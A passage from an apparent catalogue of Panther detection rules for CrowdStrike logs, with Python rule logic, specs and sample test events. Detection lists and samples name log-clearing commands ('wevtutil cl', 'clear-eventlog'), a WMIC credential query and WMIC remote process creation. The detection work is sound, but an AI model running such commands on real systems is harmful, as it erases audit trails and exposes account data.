    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "1234abcd4567efghi8901abc",
    "aip": "11.10.9.8",
    "cid": "abc987jkl654mnop321",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106752722"
  },
  "event_platform": "Win",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "11.10.9.8"
  ],
  "p_any_md5_hashes": [
    "5fd22b915c232378e567160d641cc9f2",
    "1234abcd4567efghi8901abc",
    "abc987jkl654mnop321"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "1234abcd4567efghi8901abc",
    "abc987jkl654mnop321"
  ],
  "p_event_time": "2023-04-21 19:52:32.722",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:05:52.94",
  "p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "timestamp": "2023-04-21 19:52:32.722",
  "treeid": "4295752857"
}

Crowdstrike Single IP Allowlisted

#
Severity
medium
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A single IP (instead of a CIDR range) was allowlisted. This could indicate a bad actor permitting access from another machine.

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_event_streams_helpers import audit_keys_dict, cs_alert_context, str_to_list


def get_single_ips(event, fieldname="cidrs") -> list[str]:
    """Searches the "cidrs" field of the event audit keys, and returns any cidr entries which
    are actually just single IP addresses."""
    single_ips = []
    audit_keys = audit_keys_dict(event)
    cidrs = str_to_list(audit_keys.get(fieldname, []))
    for entry in cidrs:
        if "/" not in entry:
            single_ips.append(entry)
        elif entry.endswith("/32"):
            # A 32-bit CIDR range is the same as a single IP address
            single_ips.append(entry[:-3])
    return single_ips


def rule(event):
    # Only alert if an allow list is created or edited
    op_name = event.deep_get("event", "OperationName")
    if op_name not in ("CreateAllowlistGroup", "UpdateAllowlistGroup"):
        return False

    # Only alert if there's a single IP address allowed by the allowlist
    single_ips = get_single_ips(event)

    if op_name == "UpdateAllowlistGroup":
        # Remove IPs from single_ips if the weren't recently added
        old_single_ips = set(get_single_ips(event, "old_cidrs"))
        single_ips = [ip for ip in single_ips if ip not in old_single_ips]

    # Return true if there were any single IPs
    return len(single_ips) > 0


def title(event):
    # Title format: {actor} granted {contexts_str} access to {a, X} single ip{s}
    single_ips = get_single_ips(event)
    actor = event.deep_get("event", "UserId")

    # contexts_str: one of API, UI, or API & UI
    #   Also a more general case: API, UI, and XX (for if they add extra contexts in the future)
    contexts = str_to_list(audit_keys_dict(event).get("contexts", ""))
    if len(contexts) == 0:
        contexts_str = "no contexts"
    elif len(contexts) == 1:
        contexts_str = contexts[0]
    else:
        contexts_str = ", ".join(contexts[:-1]) + " & " + contexts[-1]

    num_ips_str = "a single ip" if len(contexts) == 1 else f"{len(single_ips)} single ips"

    return f"{actor} granted {contexts_str} access to {num_ips_str}"


def alert_context(event):
    context = cs_alert_context(event)
    context.update({"single_ips": get_single_ips(event)})
    return context

Rule specification

AnalysisType: rule
Filename: crowdstrike_single_ip_allowlisted.py
RuleID: "Crowdstrike.SingleIpAllowlisted"
DisplayName: "Crowdstrike Single IP Allowlisted"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Reports:
  MITRE ATT&CK:
    - TA0003:T1556.009 # Persistsnce: Modify Authentication Process: Conditional Access Policies
    - TA0005:T1556.009 # Defense Evasion: Modify Authentication Process: Conditional Access Policies
    - TA0006:T1556.009 # Credential Access: Modify Authentication Process: Conditional Access Policies
Description: A single IP (instead of a CIDR range) was allowlisted. This could indicate a bad actor permitting access from another machine.
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized, and determine the client to which the IP belongs to.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when the condition below holds.

Condition

  • event.OperationName is one of CreateAllowlistGroup, UpdateAllowlistGroup

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
event.OperationNamein
  • CreateAllowlistGroup
  • UpdateAllowlistGroup
field:"event.OperationName" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId

Response runbook

Validate this action was authorized, and determine the client to which the IP belongs to.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "allowlist_group_id",
        "ValueString": "24821376-7e77-431e-9469-74846978fe64"
      },
      {
        "Key": "group_name",
        "ValueString": "example_group"
      },
      {
        "Key": "description",
        "ValueString": ""
      },
      {
        "Key": "cidrs",
        "ValueString": "[1.1.1.1]"
      },
      {
        "Key": "contexts",
        "ValueString": "[API]"
      },
      {
        "Key": "active",
        "ValueString": "false"
      }
    ],
    "OperationName": "CreateAllowlistGroup",
    "ServiceName": "Crowdstrike Allowlist Management",
    "Success": true,
    "UTCTimestamp": "2024-07-26 16:13:13.000000000",
    "UserId": "wormtongue@isengard.org",
    "UserIp": "1.2.3.4"
  },
  "metadata": {
    "customerIDString": "fake_cust_id",
    "eventCreationTime": "2024-07-26 16:13:13.579000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 365164,
    "version": "1.0"
  }
}

Crowdstrike Systemlog Tampering

#
Severity
high
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
attack.mitre.org
Source
github.com/panther-labs/panther-analysis

Detects when a user attempts to clear system logs.

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context

CLEARING_SYSTEM_LOG_TOOLS = {
    "wevtutil.exe": ["cl", "clear-log"],
    "powershell.exe": ["clear-eventlog"],
}


def rule(event):
    if event.get("fdr_event_type", "") == "ProcessRollup2":
        if event.get("event_platform", "") == "Win":
            process_name = (
                event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
            )
            if process_name in CLEARING_SYSTEM_LOG_TOOLS:
                process_command_line = event.deep_get("event", "CommandLine", default="").split(" ")
                suspicious_command_lines = CLEARING_SYSTEM_LOG_TOOLS.get(process_name)
                for suspicious_command_line in suspicious_command_lines:
                    if suspicious_command_line in process_command_line:
                        return True
    return False


def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    command = event.deep_get("event", "CommandLine", default="<COMMAND_NOT_FOUND>")
    return (
        "Crowdstrike: System log tampering attempt detected on "
        f"host [{host}] with command [{command}]"
    )


def alert_context(event):
    return crowdstrike_detection_alert_context(event)

Rule specification

AnalysisType: rule
Description: "Detects when a user attempts to clear system logs. "
DisplayName: "Crowdstrike Systemlog Tampering"
Enabled: true
Filename: crowdstrike_systemlog_tampering.py
Reference: https://attack.mitre.org/techniques/T1070/001/
Severity: High
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.Systemlog.Tampering"
Threshold: 1

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • fdr_event_type is ProcessRollup2
  • event_platform is Win

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription
ComputerName
CommandLineevent.CommandLine

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234567890abcdefg654321",
  "aip": "11.10.9.8",
  "cid": "abcdefghijklmnop123467890",
  "configbuild": "1007.3.0016606.11",
  "configstatehash": "3799024366",
  "entitlements": "15",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
    "CommandLine": "C:\\Windows\\System32\\wevtutil.exe cl test",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\wevtutil.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "5fd22b915c232378e567160d641cc9f2",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106752.006",
    "ProcessSxsFlags": "64",
    "RawProcessId": "1468",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4390327988",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "1234567890abcdefg654321",
    "aip": "11.10.9.8",
    "cid": "abcdefghijklmnop123467890",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106752722"
  },
  "event_platform": "Win",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "11.10.9.8"
  ],
  "p_any_md5_hashes": [
    "5fd22b915c232378e567160d641cc9f2",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_event_time": "2023-04-21 19:52:32.722",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:05:52.94",
  "p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "timestamp": "2023-04-21 19:52:32.722",
  "treeid": "4295752857"
}

Crowdstrike Unusual Parent Child Processes

#
Severity
high
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
medium.com
Source
github.com/panther-labs/panther-analysis

Detects unusual parent child process pairings.

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context

SUSPICIOUS_PARENT_CHILD_COMBINATIONS_WINDOWS = {
    ("winword.exe", "cmd.exe"),
    ("winword.exe", "powershell.exe"),
    ("excel.exe", "cmd.exe"),
    ("excel.exe", "powershell.exe"),
    ("outlook.exe", "cmd.exe"),
    ("outlook.exe", "powershell.exe"),
}


def rule(event):
    if event.get("fdr_event_type", "") == "ProcessRollup2":
        if event.get("event_platform", "") == "Win":
            parent_process_name = event.deep_get("event", "ParentBaseFileName", default="").lower()
            child_process_name = (
                event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
            )
            return (
                parent_process_name,
                child_process_name,
            ) in SUSPICIOUS_PARENT_CHILD_COMBINATIONS_WINDOWS
    return False


def title(event):
    parent_process_name = event.deep_get("event", "ParentBaseFileName", default="").lower()
    child_process_name = (
        event.deep_get("event", "ImageFileName", default="").lower().split("\\")[-1]
    )
    procs = (parent_process_name, child_process_name)
    return f"Crowdstrike: Suspicious parent/child combination [{procs}] detected"


def alert_context(event):
    return crowdstrike_detection_alert_context(event)

Rule specification

AnalysisType: rule
Description: Detects unusual parent child process pairings.
DisplayName: "Crowdstrike Unusual Parent Child Processes"
Enabled: true
Filename: crowdstrike_unusual_parent_child_processes.py
Reference: https://medium.com/falconforce/falconfriday-e4554e9e6665
Severity: High
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.Unusual.Parent.Child.Processes"
Threshold: 1

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • fdr_event_type is ProcessRollup2
  • event_platform is Win

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234567890abcdefg654321",
  "aip": "1.2.3.4",
  "cid": "abcdefghijklmnop123467890",
  "configbuild": "1007.3.0016606.11",
  "configstatehash": "3799024366",
  "entitlements": "15",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "0000000000bc97f7a55c355f06119abc90155e8a",
    "CommandLine": "C:\\Windows\\System32\\cmd.exe",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\cmd.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "0000000000df0bc6120d437e0a7e1281",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "excel.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106752.006",
    "ProcessSxsFlags": "64",
    "RawProcessId": "1468",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4390327988",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "1234567890abcdefg654321",
    "aip": "1.2.3.4",
    "cid": "abcdefghijklmnop123467890",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106752722"
  },
  "event_platform": "Win",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "1.2.3.4"
  ],
  "p_any_md5_hashes": [
    "0000000000df0bc6120d437e0a7e1281",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "0000000000040627d2ab8b9f2a3b69f7054ae3bfe8fb3bbac209ef95d4fc42be"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_event_time": "2023-04-21 19:52:32.722",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:05:52.94",
  "p_row_id": "0000000000224847bdd7fa2ef5daae32",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "timestamp": "2023-04-21 19:52:32.722",
  "treeid": "4295752857"
}

Crowdstrike User Deleted

#
Severity
high
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

Someone has deleted multiple users.

MITRE ATT&CK coverage

TacticTechniques
Stealth

Detection logic

from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event):
    return all(
        [
            event.deep_get("event", "OperationName") == "deleteUser",
            event.deep_get("event", "Success"),
        ]
    )


def title(event):
    actor = event.deep_get("event", "UserId", default="UNKNOWN USER")
    return f"[{actor}] has deleted multiple Crowdstrike users within the past hour."


def alert_context(event):
    return cs_alert_context(event)

Rule specification

AnalysisType: rule
Filename: crowdstrike_user_deleted.py
RuleID: "Crowdstrike.UserDeleted"
DisplayName: "Crowdstrike User Deleted"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: High
Reports:
  MITRE ATT&CK:
    - TA0005:T1070 # Indicator Removal
Description: Someone has deleted multiple users.
DedupPeriodMinutes: 60
Threshold: 3
Runbook: Validate this action was authorized.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is deleteUser
  • event.Success is present
Alert cadence
alerts after 3 matches within 1h

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId

Response runbook

Validate this action was authorized.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "target_name",
        "ValueString": "frodo.baggins@hobbiton.co"
      }
    ],
    "OperationName": "deleteUser",
    "ServiceName": "CrowdStrike Authentication",
    "Success": true,
    "UTCTimestamp": "2024-07-22 15:50:16.923000000",
    "UserId": "sharkey@hobbiton.co",
    "UserIp": "192.0.2.100"
  },
  "metadata": {
    "customerIDString": "fake_customer_id",
    "eventCreationTime": "2024-07-22 15:50:16.923000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 341329,
    "version": "1.0"
  }
}

Crowdstrike User Password Changed

#
Severity
medium
Log types
Crowdstrike.EventStreams
Source
github.com/panther-labs/panther-analysis

A user's password was changed

MITRE ATT&CK coverage

Detection logic

from panther_base_helpers import key_value_list_to_dict
from panther_crowdstrike_event_streams_helpers import cs_alert_context


def rule(event):
    return all(
        [
            event.deep_get("event", "OperationName") == "changePassword",
            event.deep_get("event", "Success"),
        ]
    )


def title(event):
    audit_keys = key_value_list_to_dict(
        event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
    )
    target = audit_keys.get("target_name", "UNKNOWN USER")
    actor = event.deep_get("event", "UserId")

    if target == actor:
        return f"[{actor}] changed their password."

    return f"[{actor}] changed the password of [{target}]"


def severity(event):
    # Downgrade sev if password changed by same uer

    audit_keys = key_value_list_to_dict(
        event.deep_get("event", "AuditKeyValues"), "Key", "ValueString"
    )
    target = audit_keys.get("target_name", "UNKNOWN USER")
    actor = event.deep_get("event", "UserId")

    if target == actor:
        return "INFO"

    return "DEFAULT"


def alert_context(event):
    return cs_alert_context(event)

Rule specification

AnalysisType: rule
Filename: crowdstrike_password_change.py
RuleID: "Crowdstrike.UserPasswordChange"
DisplayName: "Crowdstrike User Password Changed"
Enabled: true
LogTypes:
  - Crowdstrike.EventStreams
Severity: Medium
Reports:
  MITRE ATT&CK:
    - TA0003:T1098.001 # Persistence: Additional Cloud Credentials
    - TA0004:T1098.001 # Privilege Escalation: Additional Cloud Credentials
Description: A user's password was changed
DedupPeriodMinutes: 60
Threshold: 1
Runbook: Validate this action was authorized.

Stages and Predicates

Fires on Crowdstrike.EventStreams events when all of the conditions below hold.

Condition

  • event.OperationName is changePassword
  • event.Success is present

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
UserIdevent.UserId

Response runbook

Validate this action was authorized.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "event": {
    "AuditKeyValues": [
      {
        "Key": "target_uuid",
        "ValueString": "e70e5306-4a83-4a9f-9b59-a78c304c438b"
      },
      {
        "Key": "target_cid",
        "ValueString": "fake_customer_id"
      },
      {
        "Key": "actor_cid",
        "ValueString": "fake_customer_id"
      },
      {
        "Key": "trace_id",
        "ValueString": "f4f8b3233619bdf49ea2a2d108ce39d8"
      },
      {
        "Key": "target_name",
        "ValueString": "peregrin.took@hobbiton.co"
      },
      {
        "Key": "action_target_name",
        "ValueString": "peregrin.took@hobbiton.co"
      }
    ],
    "OperationName": "changePassword",
    "ServiceName": "CrowdStrike Authentication",
    "Success": true,
    "UTCTimestamp": "2024-07-22 16:15:36.535000000",
    "UserId": "peregrin.took@hobbiton.co",
    "UserIp": "1.1.1.1"
  },
  "metadata": {
    "customerIDString": "fake_customer_id",
    "eventCreationTime": "2024-07-22 16:15:36.535000000",
    "eventType": "AuthActivityAuditEvent",
    "offset": 341447,
    "version": "1.0"
  }
}

Crowdstrike WMI Query Detection

#
Severity
low
Entities
ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types
Crowdstrike.FDREvent
Reference
learn.microsoft.com
Source
github.com/panther-labs/panther-analysis

Detects execution of WMI queries involving information gathering or actions on remote systems, which could indicate reconnaissance or lateral movement.

Detection logic

from panther_crowdstrike_fdr_helpers import crowdstrike_detection_alert_context

WMIC_SIGNATURES = ["get", "list", "process call create", "cmd.exe", "powershell.exe", "command.exe"]


def rule(event):
    if event.deep_get("event", "event_simpleName") == "ProcessRollup2":
        if event.deep_get("event", "event_platform") == "Win":
            if event.deep_get("event", "ImageFileName", default="").split("\\")[-1] == "wmic.exe":
                command_line = event.deep_get("event", "CommandLine", default="")
                for signature in WMIC_SIGNATURES:
                    if signature in command_line:
                        return True
    return False


def title(event):
    cmd = event.deep_get("event", "CommandLine", default="<COMMAND_LINE_NOT_FOUND>")
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return f"Crowdstrike: WMIC Query [{cmd}] performed on host [{host}]"


def alert_context(event):
    return crowdstrike_detection_alert_context(event)

Rule specification

AnalysisType: rule
Description: Detects execution of WMI queries involving information gathering or actions on remote systems, which could indicate reconnaissance or lateral movement.
DisplayName: "Crowdstrike WMI Query Detection"
Enabled: true
Filename: crowdstrike_wmi_query_detection.py
Runbook: Investigate the endpoint for signs of WMI query execution. Review the executed query and the associated user account.
Reference: https://learn.microsoft.com/en-us/windows/win32/wmisdk/querying-wmi
Severity: Low
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.WMI.Query.Detection"
Threshold: 1

Stages and Predicates

Fires on Crowdstrike.FDREvent events when all of the conditions below hold.

Condition

  • event.event_simpleName is ProcessRollup2
  • event.event_platform is Win
  • any of:
    • event.CommandLine contains get
    • event.CommandLine contains list
    • event.CommandLine contains process call create
    • event.CommandLine contains cmd.exe
    • event.CommandLine contains powershell.exe
    • event.CommandLine contains command.exe

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
aid
userUserName
console-linkFalconHostLink
commandlineCommandLine
parentcommandlineParentCommandLine
filenameFileName
filepathFilePath
descriptionDescription
actionPatternDispositionDescription
CommandLineevent.CommandLine
ComputerName

Response runbook

Investigate the endpoint for signs of WMI query execution. Review the executed query and the associated user account.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "aid": "1234567890abcdefg654321",
  "aip": "11.10.9.8",
  "cid": "abcdefghijklmnop123467890",
  "configbuild": "1007.3.0016606.11",
  "configstatehash": "3799024366",
  "entitlements": "15",
  "event": {
    "AuthenticationId": "293628",
    "AuthenticodeHashData": "5540c470218d209b7c3eca3d12e190580814d566",
    "CommandLine": "C:\\Windows\\System32\\wmic.exe useraccount get name,password",
    "ConfigBuild": "1007.3.0016606.11",
    "ConfigStateHash": "3799024366",
    "EffectiveTransmissionClass": "2",
    "Entitlements": "15",
    "ImageFileName": "\\Device\\HarddiskVolume2\\Windows\\System32\\wmic.exe",
    "ImageSubsystem": "3",
    "IntegrityLevel": "12288",
    "MD5HashData": "5fd22b915c232378e567160d641cc9f2",
    "ParentAuthenticationId": "293628",
    "ParentBaseFileName": "pwsh.exe",
    "ParentProcessId": "4370948876",
    "ProcessCreateFlags": "0",
    "ProcessEndTime": "",
    "ProcessParameterFlags": "24577",
    "ProcessStartTime": "1682106752.006",
    "ProcessSxsFlags": "64",
    "RawProcessId": "1468",
    "SHA1HashData": "0000000000000000000000000000000000000000",
    "SHA256HashData": "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377",
    "SessionId": "2",
    "SignInfoFlags": "8683538",
    "SourceProcessId": "4370948876",
    "SourceThreadId": "6364981533",
    "Tags": "25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633",
    "TargetProcessId": "4390327988",
    "TokenType": "1",
    "TreeId": "4295752857",
    "UserSid": "S-1-5-21-239183934-720705223-383019856-500",
    "aid": "1234567890abcdefg654321",
    "aip": "11.10.9.8",
    "cid": "abcdefghijklmnop123467890",
    "event_platform": "Win",
    "event_simpleName": "ProcessRollup2",
    "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
    "name": "ProcessRollup2V19",
    "timestamp": "1682106752722"
  },
  "event_platform": "Win",
  "event_simplename": "ProcessRollup2",
  "fdr_event_type": "ProcessRollup2",
  "id": "081d64d7-17fb-40c0-8767-48ff1e2ee2dd",
  "name": "ProcessRollup2V19",
  "p_any_ip_addresses": [
    "11.10.9.8"
  ],
  "p_any_md5_hashes": [
    "5fd22b915c232378e567160d641cc9f2",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_any_sha1_hashes": [
    "0000000000000000000000000000000000000000"
  ],
  "p_any_sha256_hashes": [
    "488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377"
  ],
  "p_any_trace_ids": [
    "4295752857",
    "1234567890abcdefg654321",
    "abcdefghijklmnop123467890"
  ],
  "p_event_time": "2023-04-21 19:52:32.722",
  "p_log_type": "Crowdstrike.FDREvent",
  "p_parse_time": "2023-04-21 20:05:52.94",
  "p_row_id": "7ac82dbb43a99bfec196bdda178c8101",
  "p_schema_version": 0,
  "p_source_id": "1f33f64c-124d-413c-a9e3-d51ccedd8e77",
  "p_source_label": "Crowdstrike-FDR-Dev",
  "timestamp": "2023-04-21 19:52:32.722",
  "treeid": "4295752857"
}

DNS request to denylisted domain

#
Severity
high
Group by
DomainName, aid
Entities
domain_names, ip_addresses, md5_hashes, trace_ids
Log types
Crowdstrike.DNSRequest, Crowdstrike.FDREvent
Tags
CrowdStrike, Configuration Required, DNS, Command and Control, Initial Access, Exfiltration, Threat Intelligence, Network Monitoring
Reference
docs.runpanther.io
Source
github.com/panther-labs/panther-analysis

Detects DNS requests to domains on a custom denylist configured by security teams based on their threat landscape. This template rule requires configuration before enabling and monitors for C2 communication, phishing infrastructure, malware distribution, and data exfiltration. Organizations populate the denylist with threat intelligence indicators, known malicious infrastructure, and domains associated with targeted campaigns.

MITRE ATT&CK coverage

Detection logic

from panther_crowdstrike_fdr_helpers import filter_crowdstrike_fdr_event_type, get_crowdstrike_field

# baddomain.com is present for testing purposes. Add domains you wish to be alerted on to this list
DENYLIST = ["baddomain.com"]


def rule(event):
    # We need to run either for Crowdstrike.DnsRequest or for Crowdstrike.FDREvent with the
    # 'DnsRequest' fdr_event_type. Crowdstrike.DnsRequest is covered because of the
    # association with the type
    if filter_crowdstrike_fdr_event_type(event, "DnsRequest"):
        return False

    if get_crowdstrike_field(event, "DomainName") in DENYLIST:
        return True
    return False


def title(event):
    host = event.get("ComputerName") or event.get("aid", "<AID_NOT_FOUND>")
    return (
        f"A denylisted domain [{get_crowdstrike_field(event, 'DomainName')}] was "
        + f"queried by host {host}"
    )


def dedup(event):
    #  Alert on every individual lookup of a bad domain, per machine
    return f"{get_crowdstrike_field(event, 'DomainName')}-{event.get('aid')}"

Rule specification

AnalysisType: rule
Filename: crowdstrike_dns_request.py
RuleID: "Crowdstrike.DNS.Request"
DisplayName: "DNS request to denylisted domain"
Enabled: false
LogTypes:
  - Crowdstrike.DNSRequest
  - Crowdstrike.FDREvent
Tags:
  - CrowdStrike
  - Configuration Required
  - DNS
  - Command and Control
  - Initial Access
  - Exfiltration
  - Threat Intelligence
  - Network Monitoring
Severity: High
Reports:
  MITRE ATT&CK:
    - TA0001:T1566
    - TA0011:T1071.004
    - TA0010:T1567
Description: >
  Detects DNS requests to domains on a custom denylist configured by security teams based on their threat landscape. This template rule requires configuration before enabling and monitors for C2 communication, phishing infrastructure, malware distribution, and data exfiltration. Organizations populate the denylist with threat intelligence indicators, known malicious infrastructure, and domains associated with targeted campaigns.
Reference: https://docs.runpanther.io/data-onboarding/supported-logs/crowdstrike#crowdstrike-dnsrequest
Runbook: |
  1. Query CrowdStrike ProcessRollup events for ContextProcessId matching this DNS request to identify the process, user account, and parent process that initiated the query to DomainName
